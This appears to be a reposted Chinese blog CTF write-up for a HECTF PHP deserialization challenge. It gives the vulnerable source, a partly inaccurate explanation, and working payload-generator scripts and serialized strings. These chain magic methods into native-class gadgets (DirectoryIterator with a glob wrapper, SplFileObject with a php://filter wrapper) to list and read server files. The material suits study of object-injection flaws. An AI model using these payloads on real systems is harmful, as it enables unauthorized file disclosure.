原生类相关题目

这篇具有很好参考价值的文章主要介绍了原生类相关题目。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

Welcome to HECTF Have fun!!!😊
<?php
error_reporting(0);

class A{
    public $file;

    public function __construct(){
        echo "Welcome to HECTF Have fun!!!😊<br>";
    }

    public function __wakeup(){
        if(isset($this->file->var)){
            $this->file = "flag.php";
        }
        else{
            $this->file = "index.php";
        }
    }
    public function __destruct(){
        highlight_file($this->file);
    }


}

class B{
    public $str;
    public $huang;
    public  function __isset($arg)
    {
        echo "难道我真的要失败了,吗".$this->str;

    }
    public function __call($fun1,$arg)
    {
      return $this->huang->str;

    }
}

class C{
    public $eee;
    public $aaa="who are you?";
    public $ccc;
    public function __toString()
    {
           $this->eee->flag();
    }
    public function __get($css)
    {
        $function = $this->ccc;
        return $function();
    }
}

class D{
     private $ddd;
     private $ext;

     public function flag(){
         $this->ext->nisa($this->ddd);
     }

     public function __invoke()
     {
         echo new $this->ddd($this->ext);
     }

}
$gagaga = new A();
unserialize(serialize($gagaga));


$data = $_POST['data'];
unserialize($data);  

这段代码是一个简单的PHP反序列化示例。让我逐步解释每个类的作用和代码逻辑。

1. 类A: 该类具有以下功能:
   - 构造函数 `__construct`:向用户输出欢迎消息。
   - `__wakeup` 方法:在反序列化过程中被调用,根据成员变量 `$file` 的存在与否,确定要加载的文件。
   - `__destruct` 方法:在对象销毁时被调用,用于输出成员变量 `$file` 所指向文件的代码。

2. 类B: 该类具有以下功能:
   - `__isset` 方法:在对不存在的属性进行 isset 调用时被调用,向用户输出一条消息。
   - `__call` 方法:在对不存在的方法进行调用时被调用,返回成员变量 `$huang` 的值。

3. 类C: 该类具有以下功能:
   - `__toString` 方法:在将对象作为字符串使用时被调用,调用成员变量 `$eee` 的 `flag` 方法。
   - `__get` 方法:在获取不存在的属性时被调用,调用成员变量 `$ccc` 所指向的方法。

4. 类D: 该类具有以下功能:
   - `flag` 方法:调用 `$ext` 对象的 `nisa` 方法,并传递成员变量 `$ddd` 的值作为参数。
   - `__invoke` 方法:将对象作为函数调用时被调用,创建一个新的 `$ddd` 对象,并传递成员变量 `$ext` 作为参数。

在代码的最后,创建了一个类A的实例 `$gagaga`,并对其进行了序列化和反序列化操作。

在反序列化过程中,接受了用户通过 POST 请求传递的序列化数据 `$data`,然后对其进行了反序列化操作。

通过分析代码,可以看出存在一些安全问题。首先,在 `__wakeup` 和 `__destruct` 方法中,根据用户传递的数据修改 `$file` 的值会导致加载不同的文件,可能导致代码执行不受控制。其次,在类B的 `__call` 方法中,存在访问成员变量 `$huang` 的逻辑,但没有初始化 `$huang` 对象,可能导致访问未定义的属性。最后,在类C的 `__toString` 方法中,调用了成员变量 `$eee` 的 `flag` 方法,但没有初始化 `$eee` 对象,可能导致调用未定义的方法。

建议在使用反序列化功能时,对用户传递的数据进行验证和过滤,确保安全性。

找了一圈没有可以利用的例如echo,eval等... 但有一个

echo new $this->ddd($this->ext);

 很明显有一个原生类利用

unserialize会调用wakeup ,wakeup里有isset,会调用B.__isset会执行echo,调用C.toString会调用flag(),flag()方法不存在会调用B.__call,retrun str属性 属性不存在调用C.__get(),function()类当做方法使用会调用__invoke(),invoke里边 是echo new $a($b)的形式 ,可以触发反序列化原生类

 读取文件的话一般就用SplFileObject但这个函数必须知道文件名是什么,可以用DirectoryIterator类读取到flag的文件名为ffflllllaaaaaaggggg.txt,之后用SplFileObject来读取,但只能读取一行,可以用file伪协议来读取
 

原生类相关题目,网络安全

<?php
class A
{
    public $file;
}
class B{
    public $str;
    public $huang;
}
class C
{
    public $eee;
    public $aaa ;
    public $ccc;
}
class D
{
    public $ddd;
    public $ext;
}

$gagaga=new A();
$gagaga->file=new B();
$gagaga->file->str=new C();
$gagaga->file->str->eee=new B();
$gagaga->file->str->eee->huang=new C();
$gagaga->file->str->eee->huang->ccc=new D();
$gagaga->file->str->eee->huang->ccc->ddd ="DirectoryIterator";
$gagaga->file->str->eee->huang->ccc->ext ="glob:///f*";
echo (serialize($gagaga));

 O:1:"A":1:{s:4:"file";O:1:"B":2:{s:3:"str";O:1:"C":3:{s:3:"eee";O:1:"B":2:{s:3:"str";N;s:5:"huang";O:1:"C":3:{s:3:"eee";N;s:3:"aaa";N;s:3:"ccc";O:1:"D":2:{s:3:"ddd";s:17:"DirectoryIterator";s:3:"ext";s:10:"glob:///f*";}}}s:3:"aaa

";N;s:3:"ccc";N;}s:5:"huang";N;}}

原生类相关题目,网络安全 

 得出文件名:ffflllllaaaaaaggggg.txt

<?php
class A
{
    public $file;
}
class B{
    public $str;
    public $huang;
}
class C
{
    public $eee;
    public $aaa ;
    public $ccc;
}
class D
{
    public $ddd;
    public $ext;
}

$gagaga=new A();
$gagaga->file=new B();
$gagaga->file->str=new C();
$gagaga->file->str->eee=new B();
$gagaga->file->str->eee->huang=new C();
$gagaga->file->str->eee->huang->ccc=new D();
$gagaga->file->str->eee->huang->ccc->ddd ="SplFileObject";
$gagaga->file->str->eee->huang->ccc->ext ="php://filter/read=convert.base64-encode/resource=/ffflllllaaaaaaggggg.txt";
echo (serialize($gagaga));

O:1:"A":1:{s:4:"file";O:1:"B":2:{s:3:"str";O:1:"C":3:{s:3:"eee";O:1:"B":2:{s:3:"str";N;s:5:"huang";O:1:"C":3:{s:3:"eee";N;s:3:"aaa";N;s:3:"ccc";O:1:"D":2:{s:3:"ddd";s:13:"SplFileObject";s:3:"ext";s:73:"php://filter/read=convert.base64-encode/resource=/ffflllllaaaaaaggggg.txt";}}}s:3:"aaa";N;s:3:"ccc";N;}s:5:"huang";N;}}
 

原生类相关题目,网络安全 

ZmxhZ3t1X2ZpbmRfbQ0KZWhhaGFoYX0= 

原生类相关题目,网络安全

 文章来源地址https://www.toymoban.com/news/detail-645600.html

到了这里,关于原生类相关题目的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 网络安全行业相关证书

    一:前言             对于考证这个话题,笔者的意见是:“有比没有好,有一定更好,但不一定必须;纸上证明终觉浅,安全还得实力行”。很多人对于各种机构的考证宣传搞得是云里雾里,不知道网络安全行业具体有哪些证书?哪些证书具有含金量?哪些证书是机构的韭

    2024年02月15日
    浏览(45)
  • 云原生环境该怎样解决网络安全问题

    随着云计算逐渐迈向成熟阶段,云原生技术以其“生在云上、长在云上”的核心理念,被普遍认为是云计算未来十年发展的关键方向。该技术不仅能够有效破解传统云实践中所面临的应用升级缓慢、架构臃肿、迭代效率低下等难题,更为业务创新注入了强大的动力。 云原生技

    2024年04月27日
    浏览(34)
  • 网络安全相关术语基本概述

    1. 肉鸡 肉鸡也称傀儡机,是指可以被黑客远程控制的机器。比如用\\\"灰鸽子\\\"等诱导客户点击或者电脑被黑客攻破或用户电脑有漏洞被种植了木马,黑客可以随意操纵它并利用它做任何事情。 肉鸡通常被用作DDOS攻击。可以是各种系统,如windows、linux、unix等,更可以是一家公司

    2024年02月06日
    浏览(65)
  • 车辆网络安全ISO/SAE 21434解读(三)项目相关的网络安全管理

    项目相关的网络安全管理(Project dependent cybersecurity management) 一章描述了普适性的针对项目网络安全活动的管理原则。包括各项活动的职责分配,制定网络安全活动计划,裁剪原则,以及网络安全案例和网络安全评估、后开发阶段释放的要求。 网络安全职责(Cybersecurity Resp

    2024年02月05日
    浏览(41)
  • 网络安全的相关知识点

    1.窃听:广播式网络系统。 2.假冒 3.重放:重复一份报文或者报文的一部分,以便产生一个被授权的效果。 4.流量分析 5.数据完整性破坏 6.拒绝服务 7.资源的非授权使用 8.陷门和特洛伊木马:木马病毒有客户端和服务端两个版本,不具备自我复制性。 9.病毒:自我复制。 10.诽

    2024年02月13日
    浏览(39)
  • 网络空间安全相关知识点

    网络空间安全指的是对计算机、其他数字设备及网络设备和传输线路的网络系统中存储、传输和处理 的信息的保护。它包含信息安全和网络安全。 信息安全 是指保留信息的保密性、完整性和可用性,另外还设计其他属性,如真实性、可审计性、不可否认性和可靠性。 网络安

    2024年02月12日
    浏览(49)
  • HNU-计算机网络-实验5(自选)-安全相关编程实验

    计科210X 甘晴void 202108010XXX 【前言】 这个《课程综合实验》是21级开始新加的实验,之前都没有。具体的可以看实验指导书,是用的19级同学的毕设。我完成的这个实验需要一点点RUST基础,感觉还是有一点点难度。 从以下6个实验中选择一个完成 实验一 TCP连接与泛洪攻击实验

    2024年01月19日
    浏览(43)
  • 中科驭数DPU技术开放日秀“肌肉”:云原生网络、RDMA、安全加速、低延时网络等方案组团亮相

    2024年3月29日,中科驭数以“DPU构建高性能云算力底座”为主题的线上技术开放日活动成功举办。在开放日上,中科驭数集中展现了其在低时延网络、云原生网络及智算中心网络三大关键场景下的技术成果与五大核心DPU解决方案,凸显了中科驭数在高性能数据中心建设与云算力

    2024年04月14日
    浏览(42)
  • 原生类相关题目

    这段代码是一个简单的PHP反序列化示例。让我逐步解释每个类的作用和代码逻辑。 1. 类A: 该类具有以下功能:    - 构造函数 `__construct`:向用户输出欢迎消息。    - `__wakeup` 方法:在反序列化过程中被调用,根据成员变量 `$file` 的存在与否,确定要加载的文件。    - `__d

    2024年02月13日
    浏览(31)
  • 网络安全引言(网络安全概述、计算机安全、OSI安全体系、网络安全模型)

    1.1 网络中的“安全”问题 信息安全经历两大变革: 从物理和管理方法 转变成 自动化工具保护信息安全 终端普遍使用 网络传输数据并保证数据安全 网络中的“安全”问题 监听 截获 篡改 假冒 假冒网点 Email截取 否认 1.2 网络安全定义 网络安全是一个跨多门学科的综合性科

    2024年02月19日
    浏览(53)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包